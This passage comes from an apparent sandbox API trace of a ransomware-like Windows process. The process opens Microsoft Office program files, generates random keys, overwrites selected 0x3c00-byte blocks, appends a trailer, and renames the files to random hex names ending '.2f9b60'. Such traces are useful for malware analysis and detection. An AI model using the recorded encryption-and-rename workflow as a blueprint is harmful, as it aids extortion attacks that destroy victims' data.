_Dest="63") returned 2 [0200.912] sprintf (in: _Dest=0x1cd9fd52, _Format="%c%c" | out: _Dest="56") returned 2 [0200.912] sprintf (in: _Dest=0x1cd9fd54, _Format="%c%c" | out: _Dest="ee") returned 2 [0200.912] sprintf (in: _Dest=0x1cd9fd56, _Format="%c%c" | out: _Dest="dd") returned 2 [0200.912] RtlInitAnsiString (in: DestinationString=0x2581f6a8, SourceString="3a7c4bff90450384d275f1c90f3ff4776356eedd" | out: DestinationString="3a7c4bff90450384d275f1c90f3ff4776356eedd") [0200.912] RtlAnsiStringToUnicodeString (in: DestinationString=0x2581f678, SourceString="3a7c4bff90450384d275f1c90f3ff4776356eedd", AllocateDestinationString=1 | out: DestinationString="3a7c4bff90450384d275f1c90f3ff4776356eedd") returned 0x0 [0200.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9df10 [0200.913] wcscat (in: _Dest=0x1b784910, _Source="3a7c4bff90" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3a7c4bff90") returned="C:\\Program Files\\Microsoft Office\\Office14\\3a7c4bff90" [0200.913] wcscat (in: _Dest=0x1b784910, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3a7c4bff90.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\3a7c4bff90.2f9b60" [0200.913] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\3a7c4bff90.2f9b60", NtPathName=0x2581f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\3a7c4bff90.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x43189120 Thread: id = 375 os_tid = 0xf0c [0089.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng")) returned 0x20 [0089.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG", dwFileAttributes=0x20) returned 1 [0089.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa7c [0089.855] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x2606fac0 | out: lpFileSize=0x2606fac0*=286848) returned 1 [0089.855] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x4607c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.855] ReadFile (in: hFile=0xa7c, lpBuffer=0x2606fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2606fa88, lpOverlapped=0x0 | out: lpBuffer=0x2606fa40*, lpNumberOfBytesRead=0x2606fa88*=0x4, lpOverlapped=0x0) returned 1 [0089.863] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a540 [0089.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.863] NtQuerySystemTime (in: CurrentTime=0x2606f980 | out: CurrentTime=0x2606f980*=132462176957290000) returned 0x0 [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x2f401090 [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x3b587828 [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x7e71b182 [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x434cd74d [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x1a869ab [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0xbd72615 [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x6d2172fd [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x88e5e3c [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x6d24f282 [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x3fdce3da [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x2de3e9f3 [0089.863] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x63ac3eb5 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x2dda1125 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x2377d718 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x2d40821a [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x78f3c11b [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x7e4adc4 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0xe4b030f [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x6969cbd1 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x2031bf22 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x7e051772 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x7ab3130 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0xc8c23af [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x11982cea [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x5176d9e9 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x56353ef7 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x41cbe5fb [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0xfd60809 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x3a0c9768 [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x71ebc7fa [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x133827ef [0089.864] RtlRandomEx (in: Seed=0x2606f970 | out: Seed=0x2606f970) returned 0x2adf5248 [0089.873] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.873] ReadFile (in: hFile=0xa7c, lpBuffer=0x1cec7980, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2606f9e0, lpOverlapped=0x0 | out: lpBuffer=0x1cec7980*, lpNumberOfBytesRead=0x2606f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.882] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0089.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a480) returned 1 [0089.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cecb590 [0089.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0089.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0089.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.884] WriteFile (in: hFile=0xa7c, lpBuffer=0x1cecb590*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2606f9e0, lpOverlapped=0x0 | out: lpBuffer=0x1cecb590*, lpNumberOfBytesWritten=0x2606f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecb590) returned 1 [0098.401] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.401] ReadFile (in: hFile=0xa7c, lpBuffer=0x1cec7980, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2606f9e0, lpOverlapped=0x0 | out: lpBuffer=0x1cec7980*, lpNumberOfBytesRead=0x2606f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.392] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978f0 [0100.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0100.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d900b0 [0100.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bf0 [0100.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263170 [0100.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263170) returned 1 [0100.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0100.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978f0) returned 1 [0100.831] WriteFile (in: hFile=0xa7c, lpBuffer=0x41d900b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2606f9e0, lpOverlapped=0x0 | out: lpBuffer=0x41d900b0*, lpNumberOfBytesWritten=0x2606f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d900b0) returned 1 [0147.867] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x42480, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.867] ReadFile (in: hFile=0xa7c, lpBuffer=0x1cec7980, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2606f9e0, lpOverlapped=0x0 | out: lpBuffer=0x1cec7980*, lpNumberOfBytesRead=0x2606f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.977] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x42480, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0147.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0147.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4236e130 [0147.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0147.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8670 [0147.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8670) returned 1 [0147.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.979] WriteFile (in: hFile=0xa7c, lpBuffer=0x4236e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2606f9e0, lpOverlapped=0x0 | out: lpBuffer=0x4236e130*, lpNumberOfBytesWritten=0x2606f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4236e130) returned 1 [0171.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce153e0 [0171.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0171.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bf0) returned 1 [0171.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a480) returned 1 [0171.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7980) returned 1 [0171.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85a480 [0171.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059dd0 [0171.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8670c0 [0171.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b1d0 [0171.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b1d0) returned 1 [0171.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85b1d0 [0171.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b1a0 [0171.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b110 [0171.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b110) returned 1 [0171.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8670c0) returned 1 [0171.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059dd0) returned 1 [0171.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14a) returned 0x133760 [0171.058] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0171.058] WriteFile (in: hFile=0xa7c, lpBuffer=0x133760*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2606fa90, lpOverlapped=0x0 | out: lpBuffer=0x133760*, lpNumberOfBytesWritten=0x2606fa90*=0x14a, lpOverlapped=0x0) returned 1 [0181.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420598d0 [0181.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0181.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a030 [0181.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a030) returned 1 [0181.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0181.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a030 [0181.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e20 [0181.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e20) returned 1 [0181.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0181.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420598d0) returned 1 [0181.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9edb0 [0181.046] sprintf (in: _Dest=0x1cd9edb0, _Format="%c%c" | out: _Dest="a3") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edb2, _Format="%c%c" | out: _Dest="9e") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edb4, _Format="%c%c" | out: _Dest="cc") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edb6, _Format="%c%c" | out: _Dest="11") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edb8, _Format="%c%c" | out: _Dest="7a") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edba, _Format="%c%c" | out: _Dest="4d") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edbc, _Format="%c%c" | out: _Dest="46") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edbe, _Format="%c%c" | out: _Dest="bc") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edc0, _Format="%c%c" | out: _Dest="93") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edc2, _Format="%c%c" | out: _Dest="b2") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edc4, _Format="%c%c" | out: _Dest="47") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edc6, _Format="%c%c" | out: _Dest="77") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edc8, _Format="%c%c" | out: _Dest="ea") returned 2 [0181.046] sprintf (in: _Dest=0x1cd9edca, _Format="%c%c" | out: _Dest="4c") returned 2 [0181.047] sprintf (in: _Dest=0x1cd9edcc, _Format="%c%c" | out: _Dest="31") returned 2 [0181.047] sprintf (in: _Dest=0x1cd9edce, _Format="%c%c" | out: _Dest="14") returned 2 [0181.047] sprintf (in: _Dest=0x1cd9edd0, _Format="%c%c" | out: _Dest="fe") returned 2 [0181.047] sprintf (in: _Dest=0x1cd9edd2, _Format="%c%c" | out: _Dest="fe") returned 2 [0181.047] sprintf (in: _Dest=0x1cd9edd4, _Format="%c%c" | out: _Dest="aa") returned 2 [0181.047] sprintf (in: _Dest=0x1cd9edd6, _Format="%c%c" | out: _Dest="55") returned 2 [0181.047] sprintf (in: _Dest=0x1cd9edd8, _Format="%c%c" | out: _Dest="b7") returned 2 [0181.047] sprintf (in: _Dest=0x1cd9edda, _Format="%c%c" | out: _Dest="74") returned 2 [0181.047] sprintf (in: _Dest=0x1cd9eddc, _Format="%c%c" | out: _Dest="c0") returned 2 [0181.047] sprintf (in: _Dest=0x1cd9edde, _Format="%c%c" | out: _Dest="d2") returned 2 [0181.047] RtlInitAnsiString (in: DestinationString=0x2606fb08, SourceString="a39ecc117a4d46bc93b24777ea4c3114fefeaa55b774c0d2" | out: DestinationString="a39ecc117a4d46bc93b24777ea4c3114fefeaa55b774c0d2") [0181.047] RtlAnsiStringToUnicodeString (in: DestinationString=0x2606fad8, SourceString="a39ecc117a4d46bc93b24777ea4c3114fefeaa55b774c0d2", AllocateDestinationString=1 | out: DestinationString="a39ecc117a4d46bc93b24777ea4c3114fefeaa55b774c0d2") returned 0x0 [0181.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce15290 [0181.048] RtlFreeAnsiString (AnsiString="a") [0181.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0181.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0181.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a030) returned 1 [0181.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133760) returned 1 [0181.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b1d0) returned 1 [0181.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b1a0) returned 1 [0181.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a480) returned 1 [0181.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce153e0) returned 1 [0181.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a540) returned 1 [0181.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a510) returned 1 [0181.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0181.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x42c22360 [0181.053] wcscat (in: _Dest=0x42c22360, _Source="a39ecc117a4d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\a39ecc117a4d") returned="C:\\Program Files\\Microsoft Office\\Office14\\a39ecc117a4d" [0181.053] wcscat (in: _Dest=0x42c22360, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\a39ecc117a4d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\a39ecc117a4d.2f9b60" [0181.053] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\a39ecc117a4d.2f9b60", NtPathName=0x2606fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\a39ecc117a4d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0181.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c2f0 Thread: id = 376 os_tid = 0xf10 [0089.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man")) returned 0x20 [0089.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man", dwFileAttributes=0x20) returned 1 [0089.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa80 [0089.885] GetFileSizeEx (in: hFile=0xa80, lpFileSize=0x2643fb20 | out: lpFileSize=0x2643fb20*=26758) returned 1 [0089.886] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x6882, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.886] ReadFile (in: hFile=0xa80, lpBuffer=0x2643faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2643fae8, lpOverlapped=0x0 | out: lpBuffer=0x2643faa0*, lpNumberOfBytesRead=0x2643fae8*=0x4, lpOverlapped=0x0) returned 1 [0089.887] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0089.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.888] NtQuerySystemTime (in: CurrentTime=0x2643f9e0 | out: CurrentTime=0x2643f9e0*=132462176957602000) returned 0x0 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x1c01848e [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x20be6227 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x751e1041 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x704ddac [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x74d73e27 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x1e0074d9 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x3b17afa1 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x3d9b9dd1 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x5696911b [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x622891bd [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x1d037e9a [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x58287835 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x5b00a9dd [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x7408b17f [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0xdd47401 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x70f72052 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x28f3234d [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x14865f23 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x3ce81f37 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x4a5d3a10 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x7a106c7b [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x5366f290 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x43592014 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x1bf81732 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x387fbac8 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x4bf27e06 [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x7146cdc [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x61ff45da [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x2e7eaf1e [0089.888] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x20c8a04b [0089.889] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x319eaf95 [0089.889] RtlRandomEx (in: Seed=0x2643f9d0 | out: Seed=0x2643f9d0) returned 0x12f06e3e [0089.897] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.897] ReadFile (in: hFile=0xa80, lpBuffer=0x1cecf1a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2643fa40, lpOverlapped=0x0 | out: lpBuffer=0x1cecf1a0*, lpNumberOfBytesRead=0x2643fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0089.901] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0089.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.901] RtlFreeHeap 